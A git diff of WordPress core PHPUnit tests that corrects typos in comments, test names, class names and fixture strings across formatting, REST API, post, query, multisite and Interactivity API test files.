8620f1efcb..d06802afec 100644 --- a/tests/phpunit/tests/formatting/makeClickable.php +++ b/tests/phpunit/tests/formatting/makeClickable.php @@ -256,8 +256,8 @@ class Tests_Formatting_MakeClickable extends WP_UnitTestCase { 'expected' => 'Example: WordPress, test (some text), I love example.com (<a href="http://example.com" rel="nofollow">http://example.com</a>), it is brilliant', ), 'real world: (URL)...' => array( - 'text' => 'Some text followed by a bracketed link with a trailing elipsis (http://example.com)...', - 'expected' => 'Some text followed by a bracketed link with a trailing elipsis (<a href="http://example.com" rel="nofollow">http://example.com</a>)...', + 'text' => 'Some text followed by a bracketed link with a trailing ellipsis (http://example.com)...', + 'expected' => 'Some text followed by a bracketed link with a trailing ellipsis (<a href="http://example.com" rel="nofollow">http://example.com</a>)...', ), 'real world: (here: URL)' => array( 'text' => 'In his famous speech “You and Your research” (here: http://www.cs.virginia.edu/~robins/YouAndYourResearch.html) Richard Hamming wrote about people getting more done with their doors closed...', diff --git a/tests/phpunit/tests/formatting/sanitizeTextField.php b/tests/phpunit/tests/formatting/sanitizeTextField.php index 82cef34a38..579f8e29de 100644 --- a/tests/phpunit/tests/formatting/sanitizeTextField.php +++ b/tests/phpunit/tests/formatting/sanitizeTextField.php @@ -103,15 +103,15 @@ class Tests_Formatting_SanitizeTextField extends WP_UnitTestCase { ), array( '%AB%BC%DE', // Just octets. - '', // Emtpy as we strip all the octets out. + '', // Empty as we strip all the octets out. ), array( - 'Invalid octects remain %II', - 'Invalid octects remain %II', + 'Invalid octets remain %II', + 'Invalid octets remain %II', ), array( - 'Nested octects %%%ABABAB %A%A%ABBB', - 'Nested octects', + 'Nested octets %%%ABABAB %A%A%ABBB', + 'Nested octets', ), array( array(), diff --git a/tests/phpunit/tests/formatting/wpAutop.php b/tests/phpunit/tests/formatting/wpAutop.php index 6630782963..8f17cd5d28 100644 --- a/tests/phpunit/tests/formatting/wpAutop.php +++ b/tests/phpunit/tests/formatting/wpAutop.php @@ -567,7 +567,7 @@ line 5</p>'; } /** - * wpautop() should convert multiple line breaks into a paragraph regarless of <br /> format + * wpautop() should convert multiple line breaks into a paragraph regardless of <br /> format * * @ticket 33377 */ diff --git a/tests/phpunit/tests/functions.php b/tests/phpunit/tests/functions.php index ffc3eac05c..066ca13ad1 100644 --- a/tests/phpunit/tests/functions.php +++ b/tests/phpunit/tests/functions.php @@ -263,7 +263,7 @@ class Tests_Functions extends WP_UnitTestCase { // Test slashes in names. $this->assertSame( 'abcdefg.png', wp_unique_filename( $testdir, 'abcde\fg.png' ), 'Slash not removed' ); $this->assertSame( 'abcdefg.png', wp_unique_filename( $testdir, 'abcde\\fg.png' ), 'Double slashed not removed' ); - $this->assertSame( 'abcdefg.png', wp_unique_filename( $testdir, 'abcde\\\fg.png' ), 'Tripple slashed not removed' ); + $this->assertSame( 'abcdefg.png', wp_unique_filename( $testdir, 'abcde\\\fg.png' ), 'Triple slashed not removed' ); } /** diff --git a/tests/phpunit/tests/functions/cleanDirsizeCache.php b/tests/phpunit/tests/functions/cleanDirsizeCache.php index f4f1f6a788..c30517c115 100644 --- a/tests/phpunit/tests/functions/cleanDirsizeCache.php +++ b/tests/phpunit/tests/functions/cleanDirsizeCache.php @@ -88,7 +88,7 @@ class Tests_Functions_CleanDirsizeCache extends WP_UnitTestCase { 'path' => 'string', 'expected_count' => 1, ), - 'non-existant string, but non-path' => array( + 'non-existent string, but non-path' => array( 'path' => 'doesnotexist', 'expected_count' => 2, ), diff --git a/tests/phpunit/tests/functions/wpMysqlWeek.php b/tests/phpunit/tests/functions/wpMysqlWeek.php index 1a17a86ffc..3649ee6c4c 100644 --- a/tests/phpunit/tests/functions/wpMysqlWeek.php +++ b/tests/phpunit/tests/functions/wpMysqlWeek.php @@ -7,7 +7,7 @@ * * @covers ::_wp_mysql_week */ -class Tests_Functons_WpMysqlWeek extends WP_UnitTestCase { +class Tests_Functions_WpMysqlWeek extends WP_UnitTestCase { /** * @ticket 59931 diff --git a/tests/phpunit/tests/http/http.php b/tests/phpunit/tests/http/http.php index 77a5239819..a2fd75b95d 100644 --- a/tests/phpunit/tests/http/http.php +++ b/tests/phpunit/tests/http/http.php @@ -47,7 +47,7 @@ class Tests_HTTP_HTTP extends WP_UnitTestCase { array( '../file-in-parent.ext', 'http://example.com/directory/', 'http://example.com/file-in-parent.ext' ), array( '../file-in-parent.ext', 'http://example.com/directory/filename', 'http://example.com/file-in-parent.ext' ), - // Location provided in muliple levels higher, including impossible to reach (../ below DOCROOT). + // Location provided in multiple levels higher, including impossible to reach (../ below DOCROOT). array( '../../file-in-grand-parent.ext', 'http://example.com', 'http://example.com/file-in-grand-parent.ext' ), array( '../../file-in-grand-parent.ext', 'http://example.com/filename', 'http://example.com/file-in-grand-parent.ext' ), array( '../../file-in-grand-parent.ext', 'http://example.com/directory/', 'http://example.com/file-in-grand-parent.ext' ), diff --git a/tests/phpunit/tests/image/header.php b/tests/phpunit/tests/image/header.php index 0257c732d4..fce617fd7d 100644 --- a/tests/phpunit/tests/image/header.php +++ b/tests/phpunit/tests/image/header.php @@ -140,7 +140,7 @@ class Tests_Image_Header extends WP_UnitTestCase { ) ); - // Create inital crop object. + // Create initial crop object. $cropped_1 = 'foo-cropped-1.png'; $object = wp_copy_parent_attachment_properties( $cropped_1, $id, 'custom-header' ); @@ -148,7 +148,7 @@ class Tests_Image_Header extends WP_UnitTestCase { $previous = $this->custom_image_header->get_previous_crop( $object ); $this->assertFalse( $previous ); - // Create the inital crop attachment and set it as the header. + // Create the initial crop attachment and set it as the header. $cropped_1_id = $this->custom_image_header->insert_attachment( $object, $cropped_1 ); $key = '_wp_attachment_custom_header_last_used_' . get_stylesheet(); update_post_meta( $cropped_1_id, $key, time() ); diff --git a/tests/phpunit/tests/image/intermediateSize.php b/tests/phpunit/tests/image/intermediateSize.php index e297bf8427..65564a70e5 100644 --- a/tests/phpunit/tests/image/intermediateSize.php +++ b/tests/phpunit/tests/image/intermediateSize.php @@ -114,7 +114,7 @@ class Tests_Image_Intermediate_Size extends WP_UnitTestCase { * @requires function imagejpeg */ public function test_get_intermediate_sizes_by_array_exact() { - // Only one dimention match shouldn't return false positive (see: #17626). + // Only one dimension match shouldn't return false positive (see: #17626). add_image_size( 'test-size', 330, 220, true ); add_image_size( 'false-height', 330, 400, true ); add_image_size( 'false-width', 600, 220, true ); @@ -184,7 +184,7 @@ class Tests_Image_Intermediate_Size extends WP_UnitTestCase { // Use this width. $width = 300; - // Only one dimention match shouldn't return false positive (see: #17626). + // Only one dimension match shouldn't return false positive (see: #17626). add_image_size( 'test-size', $width, 0, false ); add_image_size( 'false-height', $width, 100, true ); @@ -213,7 +213,7 @@ class Tests_Image_Intermediate_Size extends WP_UnitTestCase { // 202 is the smallest height that will trigger a miss for 'false-height'. $height = 202; - // Only one dimention match shouldn't return false positive (see: #17626). + // Only one dimension match shouldn't return false positive (see: #17626). add_image_size( 'test-size', 0, $height, false ); add_image_size( 'false-height', 300, $height, true ); diff --git a/tests/phpunit/tests/image/meta.php b/tests/phpunit/tests/image/meta.php index 8da543878b..88b2cbcef1 100644 --- a/tests/phpunit/tests/image/meta.php +++ b/tests/phpunit/tests/image/meta.php @@ -98,7 +98,7 @@ class Tests_Image_Meta extends WP_UnitTestCase { */ public function test_exif_error() { // https://core.trac.wordpress.org/ticket/6571 - // This triggers a warning mesage when reading the Exif block. + // This triggers a warning message when reading the Exif block. $out = wp_read_image_metadata( DIR_TESTDATA . '/images/waffles.jpg' ); $this->assertSame( '0', $out['aperture'], 'Aperture value not equivalent' ); diff --git a/tests/phpunit/tests/interactivity-api/wpInteractivityAPI.php b/tests/phpunit/tests/interactivity-api/wpInteractivityAPI.php index 72dd9da8ed..7c42dcf39c 100644 --- a/tests/phpunit/tests/interactivity-api/wpInteractivityAPI.php +++ b/tests/phpunit/tests/interactivity-api/wpInteractivityAPI.php @@ -549,7 +549,7 @@ SCRIPT_TAG; * @covers ::process_directives */ public function test_process_directives_doesnt_fail_with_unknown_directives() { - $html = '<div data-wp-uknown="">Text</div>'; + $html = '<div data-wp-unknown="">Text</div>'; $processed_html = $this->interactivity->process_directives( $html ); $this->assertEquals( $html, $processed_html ); } diff --git a/tests/phpunit/tests/interactivity-api/wpInteractivityAPIDirectivesProcessor.php b/tests/phpunit/tests/interactivity-api/wpInteractivityAPIDirectivesProcessor.php index e7395b5f38..5812c06166 100644 --- a/tests/phpunit/tests/interactivity-api/wpInteractivityAPIDirectivesProcessor.php +++ b/tests/phpunit/tests/interactivity-api/wpInteractivityAPIDirectivesProcessor.php @@ -421,7 +421,7 @@ class Tests_Interactivity_API_WpInteractivityAPIDirectivesProcessor extends WP_U $this->assertTrue( $p->has_and_visits_its_closer_tag() ); } - // Test an upercase tag. + // Test an uppercase tag. $content = '<IMG src="example.jpg">'; $p = new WP_Interactivity_API_Directives_Processor( $content ); $p->next_tag(); @@ -781,7 +781,7 @@ class Tests_Interactivity_API_WpInteractivityAPIDirectivesProcessor extends WP_U /** * Tests that skip_to_tag_closer skips to the next tag, - * independant of the content. + * independent of the content. * * @ticket 60517 * diff --git a/tests/phpunit/tests/interactivity-api/wpInteractivityAPIFunctions.php b/tests/phpunit/tests/interactivity-api/wpInteractivityAPIFunctions.php index a9e7adaf82..8bf84a90b3 100644 --- a/tests/phpunit/tests/interactivity-api/wpInteractivityAPIFunctions.php +++ b/tests/phpunit/tests/interactivity-api/wpInteractivityAPIFunctions.php @@ -71,7 +71,7 @@ class Tests_Interactivity_API_wpInteractivityAPIFunctions extends WP_UnitTestCas * * @covers wp_interactivity_process_directives_of_interactive_blocks */ - public function test_processs_directives_of_single_interactive_block() { + public function test_process_directives_of_single_interactive_block() { $post_content = '<!-- wp:test/interactive-block { "block": 1 } /-->'; $rendered_blocks = do_blocks( $post_content ); $p = new WP_HTML_Tag_Processor( $rendered_blocks ); @@ -87,7 +87,7 @@ class Tests_Interactivity_API_wpInteractivityAPIFunctions extends WP_UnitTestCas * * @covers wp_interactivity_process_directives_of_interactive_blocks */ - public function test_processs_directives_of_multiple_interactive_blocks_in_paralell() { + public function test_process_directives_of_multiple_interactive_blocks_in_parallel() { $post_content = ' <!-- wp:test/interactive-block { "block": 1 } /--> <!-- wp:test/interactive-block-2 { "block": 2 } /--> @@ -113,7 +113,7 @@ class Tests_Interactivity_API_wpInteractivityAPIFunctions extends WP_UnitTestCas * * @covers wp_interactivity_process_directives_of_interactive_blocks */ - public function test_processs_directives_of_interactive_block_inside_non_interactive_block() { + public function test_process_directives_of_interactive_block_inside_non_interactive_block() { $post_content = ' <!-- wp:test/non-interactive-block { "block": 1 } --> <!-- wp:test/interactive-block { "block": 2 } /--> @@ -133,7 +133,7 @@ class Tests_Interactivity_API_wpInteractivityAPIFunctions extends WP_UnitTestCas * * @covers wp_interactivity_process_directives_of_interactive_blocks */ - public function test_processs_directives_of_multple_interactive_blocks_inside_non_interactive_block() { + public function test_process_directives_of_multiple_interactive_blocks_inside_non_interactive_block() { $post_content = ' <!-- wp:test/non-interactive-block { "block": 1 } --> <!-- wp:test/interactive-block { "block": 2 } /--> @@ -156,7 +156,7 @@ class Tests_Interactivity_API_wpInteractivityAPIFunctions extends WP_UnitTestCas * * @covers wp_interactivity_process_directives_of_interactive_blocks */ - public function test_processs_directives_of_interactive_block_inside_multple_non_interactive_block() { + public function test_process_directives_of_interactive_block_inside_multiple_non_interactive_block() { $post_content = ' <!-- wp:test/non-interactive-block { "block": 1 } --> <!-- wp:test/interactive-block { "block": 2 } /--> @@ -181,7 +181,7 @@ class Tests_Interactivity_API_wpInteractivityAPIFunctions extends WP_UnitTestCas * * @covers wp_interactivity_process_directives_of_interactive_blocks */ - public function test_processs_directives_of_interactive_block_containing_non_interactive_block_without_directives() { + public function test_process_directives_of_interactive_block_containing_non_interactive_block_without_directives() { $post_content = ' <!-- wp:test/interactive-block { "block": 1 } --> <!-- wp:test/non-interactive-block { "block": 2 } /--> @@ -203,7 +203,7 @@ class Tests_Interactivity_API_wpInteractivityAPIFunctions extends WP_UnitTestCas * * @covers wp_interactivity_process_directives_of_interactive_blocks */ - public function test_processs_directives_of_interactive_block_containing_non_interactive_block_with_directives() { + public function test_process_directives_of_interactive_block_containing_non_interactive_block_with_directives() { $post_content = ' <!-- wp:test/interactive-block { "block": 1 } --> <!-- wp:test/non-interactive-block { "block": 2, "hasDirective": true } /--> @@ -226,7 +226,7 @@ class Tests_Interactivity_API_wpInteractivityAPIFunctions extends WP_UnitTestCas * * @covers wp_interactivity_process_directives_of_interactive_blocks */ - public function test_processs_directives_of_interactive_block_containing_nested_interactive_and_non_interactive_blocks() { + public function test_process_directives_of_interactive_block_containing_nested_interactive_and_non_interactive_blocks() { $post_content = ' <!-- wp:test/interactive-block { "block": 1 } --> <!-- wp:test/interactive-block-2 { "block": 2 } --> diff --git a/tests/phpunit/tests/kses.php b/tests/phpunit/tests/kses.php index b2ef5edeff..12a7bbac29 100644 --- a/tests/phpunit/tests/kses.php +++ b/tests/phpunit/tests/kses.php @@ -1362,7 +1362,7 @@ EOF; * @ticket 33121 */ public function test_wp_kses_attr_data_attribute_is_allowed() { - $test = '<div data-foo="foo" data-bar="bar" datainvalid="gone" data--invaild="gone" data-also-invaild-="gone" data-two-hyphens="remains">Pens and pencils</div>'; + $test = '<div data-foo="foo" data-bar="bar" datainvalid="gone" data--invalid="gone" data-also-invalid-="gone" data-two-hyphens="remains">Pens and pencils</div>'; $expected = '<div data-foo="foo" data-bar="bar" data-two-hyphens="remains">Pens and pencils</div>'; $this->assertSame( $expected, wp_kses_post( $test ) ); diff --git a/tests/phpunit/tests/link/themeFile.php b/tests/phpunit/tests/link/themeFile.php index 5d8fe66442..1a7d64839d 100644 --- a/tests/phpunit/tests/link/themeFile.php +++ b/tests/phpunit/tests/link/themeFile.php @@ -116,7 +116,7 @@ class Tests_Link_ThemeFile extends WP_UnitTestCase { * * @dataProvider data_theme_files */ - public function test_theme_file_existance( $file, $expected_theme, $existence ) { + public function test_theme_file_existence( $file, $expected_theme, $existence ) { if ( in_array( 'theme-file-child', $existence, true ) ) { $this->assertFileExists( WP_CONTENT_DIR . "/themes/theme-file-child/{$file}" ); diff --git a/tests/phpunit/tests/media.php b/tests/phpunit/tests/media.php index 7cc9f5470f..6bbf72376d 100644 --- a/tests/phpunit/tests/media.php +++ b/tests/phpunit/tests/media.php @@ -434,7 +434,7 @@ https://w.org</a>', * @ticket 38965 */ public function test_wp_prepare_attachment_for_js_without_image_sizes() { - // Create the attachement post. + // Create the attachment post. $id = wp_insert_attachment( array( 'post_title' => 'Attachment Title', diff --git a/tests/phpunit/tests/menu/wpAjaxMenuQuickSearch.php b/tests/phpunit/tests/menu/wpAjaxMenuQuickSearch.php index 9fceb5fc95..ab966eed5d 100644 --- a/tests/phpunit/tests/menu/wpAjaxMenuQuickSearch.php +++ b/tests/phpunit/tests/menu/wpAjaxMenuQuickSearch.php @@ -3,7 +3,7 @@ /** * @group menu */ -class Tests_Menu_WpAjaxMenuQuickSeach extends WP_UnitTestCase { +class Tests_Menu_WpAjaxMenuQuickSearch extends WP_UnitTestCase { /** * Test search returns results for pages. diff --git a/tests/phpunit/tests/meta/deleteMetadata.php b/tests/phpunit/tests/meta/deleteMetadata.php index ce004291bd..30ee1245f6 100644 --- a/tests/phpunit/tests/meta/deleteMetadata.php +++ b/tests/phpunit/tests/meta/deleteMetadata.php @@ -53,7 +53,7 @@ class Tests_Meta_DeleteMetadata extends WP_UnitTestCase { /** * @ticket 32224 * - * This is a backwards compatiblity quirk. + * This is a backwards compatibility quirk. */ public function test_meta_value_should_be_ignored_when_empty_string() { $vals = array( '0', '1', '2', '' ); diff --git a/tests/phpunit/tests/multisite/avoidBlogPagePermalinkCollision.php b/tests/phpunit/tests/multisite/avoidBlogPagePermalinkCollision.php index 137dff5b79..42f226fb22 100644 --- a/tests/phpunit/tests/multisite/avoidBlogPagePermalinkCollision.php +++ b/tests/phpunit/tests/multisite/avoidBlogPagePermalinkCollision.php @@ -12,7 +12,7 @@ if ( is_multisite() ) : protected static $site_id; protected static $root_page; protected static $child_page; - protected static $post_and_blog_path = 'permalink-collison'; + protected static $post_and_blog_path = 'permalink-collision'; /** * Create a blog and the pages we need to test the collision. diff --git a/tests/phpunit/tests/multisite/site.php b/tests/phpunit/tests/multisite/site.php index aa04499105..3a2d339c0a 100644 --- a/tests/phpunit/tests/multisite/site.php +++ b/tests/phpunit/tests/multisite/site.php @@ -844,7 +844,7 @@ if ( is_multisite() ) : * @param string $value The sanitized option value. * @param string $option The option name. * @param string $original_value The original value passed to the function. - * @return string The orginal value. + * @return string The original value. */ public function filter_allow_unavailable_languages( $value, $option, $original_value ) { return $original_value; @@ -2149,7 +2149,7 @@ if ( is_multisite() ) : /** * Tests whether all expected meta are provided in deprecated `wpmu_new_blog` action. * - * @dataProvider data_wpmu_new_blog_action_backward_commpatible + * @dataProvider data_wpmu_new_blog_action_backward_compatible * * @ticket 46351 */ @@ -2214,7 +2214,7 @@ if ( is_multisite() ) : $this->wp_initialize_site_meta = $meta; } - public function data_wpmu_new_blog_action_backward_commpatible() { + public function data_wpmu_new_blog_action_backward_compatible() { return array( 'default values' => array( array(), diff --git a/tests/phpunit/tests/multisite/updateBlogStatus.php b/tests/phpunit/tests/multisite/updateBlogStatus.php index 707b8fa66a..092a76e8cb 100644 --- a/tests/phpunit/tests/multisite/updateBlogStatus.php +++ b/tests/phpunit/tests/multisite/updateBlogStatus.php @@ -9,7 +9,7 @@ if ( is_multisite() ) : class Tests_Multisite_UpdateBlogStatus extends WP_UnitTestCase { /** - * Updating a field returns the sme value that was passed. + * Updating a field returns the same value that was passed. */ public function test_update_blog_status() { $result = update_blog_status( 1, 'spam', 0 ); diff --git a/tests/phpunit/tests/oembed/filterResult.php b/tests/phpunit/tests/oembed/filterResult.php index 543d336cb9..43b18aea0e 100644 --- a/tests/phpunit/tests/oembed/filterResult.php +++ b/tests/phpunit/tests/oembed/filterResult.php @@ -108,8 +108,8 @@ EOD; '<blockquote class="wp-embedded-content"><iframe class="wp-embedded-content" sandbox="allow-scripts" security="restricted" style="position: absolute; clip: rect(1px, 1px, 1px, 1px);" title="Hola" width="100"></iframe></blockquote><iframe class="wp-embedded-content" sandbox="allow-scripts" security="restricted" style="position: absolute; clip: rect(1px, 1px, 1px, 1px);" title="Hola"></iframe>', ), array( - "<blockquote><iframe title=' width=\"'></iframe></blockquote><iframe title='' height=' title=' width=\"'' heigt='123'\"></iframe>", - '<blockquote class="wp-embedded-content"><iframe class="wp-embedded-content" sandbox="allow-scripts" security="restricted" style="position: absolute; clip: rect(1px, 1px, 1px, 1px);" title=" width=""></iframe></blockquote><iframe class="wp-embedded-content" sandbox="allow-scripts" security="restricted" style="position: absolute; clip: rect(1px, 1px, 1px, 1px);" title=" width="" height=\' title=\' width="\'\' heigt=\'123\'"></iframe>', + "<blockquote><iframe title=' width=\"'></iframe></blockquote><iframe title='' height=' title=' width=\"'' height='123'\"></iframe>", + '<blockquote class="wp-embedded-content"><iframe class="wp-embedded-content" sandbox="allow-scripts" security="restricted" style="position: absolute; clip: rect(1px, 1px, 1px, 1px);" title=" width=""></iframe></blockquote><iframe class="wp-embedded-content" sandbox="allow-scripts" security="restricted" style="position: absolute; clip: rect(1px, 1px, 1px, 1px);" title=" width="" height=\' title=\' width="\'\' height=\'123\'"></iframe>', ), ); } diff --git a/tests/phpunit/tests/post/getPageUri.php b/tests/phpunit/tests/post/getPageUri.php index c6799902ce..a19b94a46c 100644 --- a/tests/phpunit/tests/post/getPageUri.php +++ b/tests/phpunit/tests/post/getPageUri.php @@ -11,7 +11,7 @@ class Tests_Post_GetPageUri extends WP_UnitTestCase { public function test_get_page_uri_with_stdclass_post_object() { $post_id = self::factory()->post->create( array( 'post_name' => 'get-page-uri-post-name' ) ); - // Mimick an old stdClass post object, missing the ancestors field. + // Mimic an old stdClass post object, missing the ancestors field. $post_array = (object) get_post( $post_id, ARRAY_A ); unset( $post_array->ancestors ); diff --git a/tests/phpunit/tests/post/getPostTypeLabels.php b/tests/phpunit/tests/post/getPostTypeLabels.php index 2a0e7f0d32..e656c33e73 100644 --- a/tests/phpunit/tests/post/getPostTypeLabels.php +++ b/tests/phpunit/tests/post/getPostTypeLabels.php @@ -16,7 +16,7 @@ class Tests_Post_GetPostTypeLabels extends WP_UnitTestCase { ); } - public function test_returns_hierachical_labels() { + public function test_returns_hierarchical_labels() { $labels = get_post_type_labels( (object) array( 'name' => 'foo', diff --git a/tests/phpunit/tests/post/isPostStatusViewable.php b/tests/phpunit/tests/post/isPostStatusViewable.php index 3f9818bbd6..d6933d18de 100644 --- a/tests/phpunit/tests/post/isPostStatusViewable.php +++ b/tests/phpunit/tests/post/isPostStatusViewable.php @@ -48,7 +48,7 @@ class Tests_Post_IsPostStatusViewable extends WP_UnitTestCase { */ public function data_custom_post_statuses() { return array( - // 0. False for non-publically queryable types. + // 0. False for non-publicly queryable types. array( array( 'publicly_queryable' => false, @@ -57,7 +57,7 @@ class Tests_Post_IsPostStatusViewable extends WP_UnitTestCase { ), false, ), - // 1. True for publically queryable types. + // 1. True for publicly queryable types. array( array( 'publicly_queryable' => true, diff --git a/tests/phpunit/tests/post/metaRevisions.php b/tests/phpunit/tests/post/metaRevisions.php index a387678c34..31f734781c 100644 --- a/tests/phpunit/tests/post/metaRevisions.php +++ b/tests/phpunit/tests/post/metaRevisions.php @@ -187,7 +187,7 @@ class Tests_Post_MetaRevisions extends WP_UnitTestCase { * Check the meta values to verify they are NOT revisioned - they are not revisioned by default. */ - // Custom post meta should NOT be restored, orignal value should not be restored, value still 'update1'. + // Custom post meta should NOT be restored, original value should not be restored, value still 'update1'. $this->assertSame( 'update1', get_post_meta( $post_id, 'meta_revision_test', true ) ); update_post_meta( $post_id, 'meta_revision_test', 'update2' ); diff --git a/tests/phpunit/tests/post/nav-menu.php b/tests/phpunit/tests/post/nav-menu.php index 625d1bc12c..7a320f9f8d 100644 --- a/tests/phpunit/tests/post/nav-menu.php +++ b/tests/phpunit/tests/post/nav-menu.php @@ -764,7 +764,7 @@ class Tests_Post_Nav_Menu extends WP_UnitTestCase { } /** - * Run tests required to confrim Walker_Nav_Menu receives an $args object. + * Run tests required to confirm Walker_Nav_Menu receives an $args object. */ public function confirm_nav_menu_item_args_object( $args ) { $this->assertIsObject( $args ); diff --git a/tests/phpunit/tests/post/objects.php b/tests/phpunit/tests/post/objects.php index 01161d09f2..3377b3b150 100644 --- a/tests/phpunit/tests/post/objects.php +++ b/tests/phpunit/tests/post/objects.php @@ -28,7 +28,7 @@ class Tests_Post_Objects extends WP_UnitTestCase { $this->assertSame( 'dummy', get_post_meta( $id, 'post_type', true ) ); $this->assertSame( 'post', $post->post_type ); - // Excercise the output argument. + // Exercise the output argument. $post = get_post( $id, ARRAY_A ); $this->assertIsArray( $post ); $this->assertSame( 'post', $post['post_type'] ); diff --git a/tests/phpunit/tests/post/query.php b/tests/phpunit/tests/post/query.php index 941b6db7fd..aa5405de57 100644 --- a/tests/phpunit/tests/post/query.php +++ b/tests/phpunit/tests/post/query.php @@ -725,9 +725,9 @@ class Tests_Post_Query extends WP_UnitTestCase { $q->posts = $posts; - $methd = new ReflectionMethod( 'WP_Query', 'set_found_posts' ); - $methd->setAccessible( true ); - $methd->invoke( $q, array( 'no_found_rows' => false ), array() ); + $method = new ReflectionMethod( 'WP_Query', 'set_found_posts' ); + $method->setAccessible( true ); + $method->invoke( $q, array( 'no_found_rows' => false ), array() ); $this->assertSame( $expected, $q->found_posts ); } diff --git a/tests/phpunit/tests/post/types.php b/tests/phpunit/tests/post/types.php index df1543fa0c..70d2538956 100644 --- a/tests/phpunit/tests/post/types.php +++ b/tests/phpunit/tests/post/types.php @@ -586,7 +586,7 @@ class Tests_Post_Types extends WP_UnitTestCase { /** * @ticket 34010 */ - public function test_get_post_types_by_support_non_existant_feature() { + public function test_get_post_types_by_support_non_existent_feature() { $this->assertSameSets( array(), get_post_types_by_support( 'somefeature' ) ); } } diff --git a/tests/phpunit/tests/post/wpAfterInsertPost.php b/tests/phpunit/tests/post/wpAfterInsertPost.php index f184c66e01..621b93151e 100644 --- a/tests/phpunit/tests/post/wpAfterInsertPost.php +++ b/tests/phpunit/tests/post/wpAfterInsertPost.php @@ -166,7 +166,7 @@ class Tests_Post_wpAfterInsertPost extends WP_UnitTestCase { * * @ticket 45114 */ - public function test_update_via_rest_contoller() { + public function test_update_via_rest_controller() { wp_set_current_user( self::$admin_id ); $post_id = self::$post_id; @@ -184,7 +184,7 @@ class Tests_Post_wpAfterInsertPost extends WP_UnitTestCase { * * @ticket 45114 */ - public function test_new_post_via_rest_contoller() { + public function test_new_post_via_rest_controller() { wp_set_current_user( self::$admin_id ); $request = new WP_REST_Request( 'POST', sprintf( '/wp/v2/posts' ) ); @@ -206,7 +206,7 @@ class Tests_Post_wpAfterInsertPost extends WP_UnitTestCase { * * @ticket 45114 */ - public function test_update_attachment_via_rest_contoller() { + public function test_update_attachment_via_rest_controller() { wp_set_current_user( self::$admin_id ); $attachment_id = self::$attachment_id; diff --git a/tests/phpunit/tests/privacy/wpPrivacyGeneratePersonalDataExportFile.php b/tests/phpunit/tests/privacy/wpPrivacyGeneratePersonalDataExportFile.php index 840f756344..2957771321 100644 --- a/tests/phpunit/tests/privacy/wpPrivacyGeneratePersonalDataExportFile.php +++ b/tests/phpunit/tests/privacy/wpPrivacyGeneratePersonalDataExportFile.php @@ -61,7 +61,7 @@ class Tests_Privacy_wpPrivacyGeneratePersonalDataExportFile extends WP_UnitTestC /** * Set up the test fixture. * - * Override `wp_die()`, pretend to be Ajax, and suppress `E_WARNING`s. + * Override `wp_die()`, pretend to be Ajax, and suppress warnings. * * @since 5.2.0 */ diff --git a/tests/phpunit/tests/query/invalidQueries.php b/tests/phpunit/tests/query/invalidQueries.php index 0cec942245..cd0b87e996 100644 --- a/tests/phpunit/tests/query/invalidQueries.php +++ b/tests/phpunit/tests/query/invalidQueries.php @@ -98,7 +98,7 @@ class Tests_Query_InvalidQueries extends WP_UnitTestCase { } /** - * Test WP Query with an invalid post type in a mutiple post type query. + * Test WP Query with an invalid post type in a multiple post type query. * * @ticket 48556 */ diff --git a/tests/phpunit/tests/query/search.php b/tests/phpunit/tests/query/search.php index 33b342655a..7bfbdec31c 100644 --- a/tests/phpunit/tests/query/search.php +++ b/tests/phpunit/tests/query/search.php @@ -280,7 +280,7 @@ class Tests_Query_Search extends WP_UnitTestCase { 'post_status' => 'publish', 'post_title' => '0', 'post_content' => 'this post contains zeroes', - 'post_excerpt' => 'this post containts zeroes', + 'post_excerpt' => 'this post contains zeroes', ) ); @@ -408,7 +408,7 @@ class Tests_Query_Search extends WP_UnitTestCase { } /** - * Unfiltered search queries for attachment post types should not inlcude + * Unfiltered search queries for attachment post types should not include * filenames to ensure the postmeta JOINs don't happen on the front end. * * @ticket 22744 diff --git a/tests/phpunit/tests/rest-api/rest-application-passwords-controller.php b/tests/phpunit/tests/rest-api/rest-application-passwords-controller.php index 96d1b193bb..7a06bb006d 100644 --- a/tests/phpunit/tests/rest-api/rest-application-passwords-controller.php +++ b/tests/phpunit/tests/rest-api/rest-application-passwords-controller.php @@ -848,7 +848,7 @@ class WP_Test_REST_Application_Passwords_Controller extends WP_Test_REST_Control } /** - * Checks the password response matches the exepcted format. + * Checks the password response matches the expected format. * * @since 5.6.0 * diff --git a/tests/phpunit/tests/rest-api/rest-global-styles-revisions-controller.php b/tests/phpunit/tests/rest-api/rest-global-styles-revisions-controller.php index 3773b5fd1f..da4daf6028 100644 --- a/tests/phpunit/tests/rest-api/rest-global-styles-revisions-controller.php +++ b/tests/phpunit/tests/rest-api/rest-global-styles-revisions-controller.php @@ -590,13 +590,13 @@ class WP_REST_Global_Styles_Revisions_Controller_Test extends WP_Test_REST_Contr /** * Tests that the default query should fetch all revisions. * - * Duplicate of WP_Test_REST_Revisions_Controller::test_get_items_default_query_should_fetch_all_revisons + * Duplicate of WP_Test_REST_Revisions_Controller::test_get_items_default_query_should_fetch_all_revisions * * @ticket 58524 * * @covers WP_REST_Global_Styles_Controller::get_items */ - public function test_get_items_default_query_should_fetch_all_revisons() { + public function test_get_items_default_query_should_fetch_all_revisions() { wp_set_current_user( self::$admin_id ); $expected_count = $this->total_revisions; diff --git a/tests/phpunit/tests/rest-api/rest-revisions-controller.php b/tests/phpunit/tests/rest-api/rest-revisions-controller.php index 0813805506..d2650d31fa 100644 --- a/tests/phpunit/tests/rest-api/rest-revisions-controller.php +++ b/tests/phpunit/tests/rest-api/rest-revisions-controller.php @@ -668,7 +668,7 @@ class WP_Test_REST_Revisions_Controller extends WP_Test_REST_Controller_Testcase * * @ticket 40510 */ - public function test_get_items_default_query_should_fetch_all_revisons() { + public function test_get_items_default_query_should_fetch_all_revisions() { wp_set_current_user( self::$editor_id ); $expected_count = $this->total_revisions; diff --git a/tests/phpunit/tests/rest-api/rest-server.php b/tests/phpunit/tests/rest-api/rest-server.php index 8d05192bc1..7bcc6d68e7 100644 --- a/tests/phpunit/tests/rest-api/rest-server.php +++ b/tests/phpunit/tests/rest-api/rest-server.php @@ -2002,9 +2002,9 @@ class Tests_REST_Server extends WP_Test_REST_TestCase { /** * @ticket 50244 - * @dataProvider data_batch_v1_optin + * @dataProvider data_batch_v1_opt_in */ - public function test_batch_v1_optin( $allow_batch, $allowed ) { + public function test_batch_v1_opt_in( $allow_batch, $allowed ) { $args = array( 'methods' => 'POST', 'callback' => static function () { @@ -2045,7 +2045,7 @@ class Tests_REST_Server extends WP_Test_REST_TestCase { } } - public function data_batch_v1_optin() { + public function data_batch_v1_opt_in() { return array( 'missing' => array( null, false ), 'invalid type' => array( true, false ), diff --git 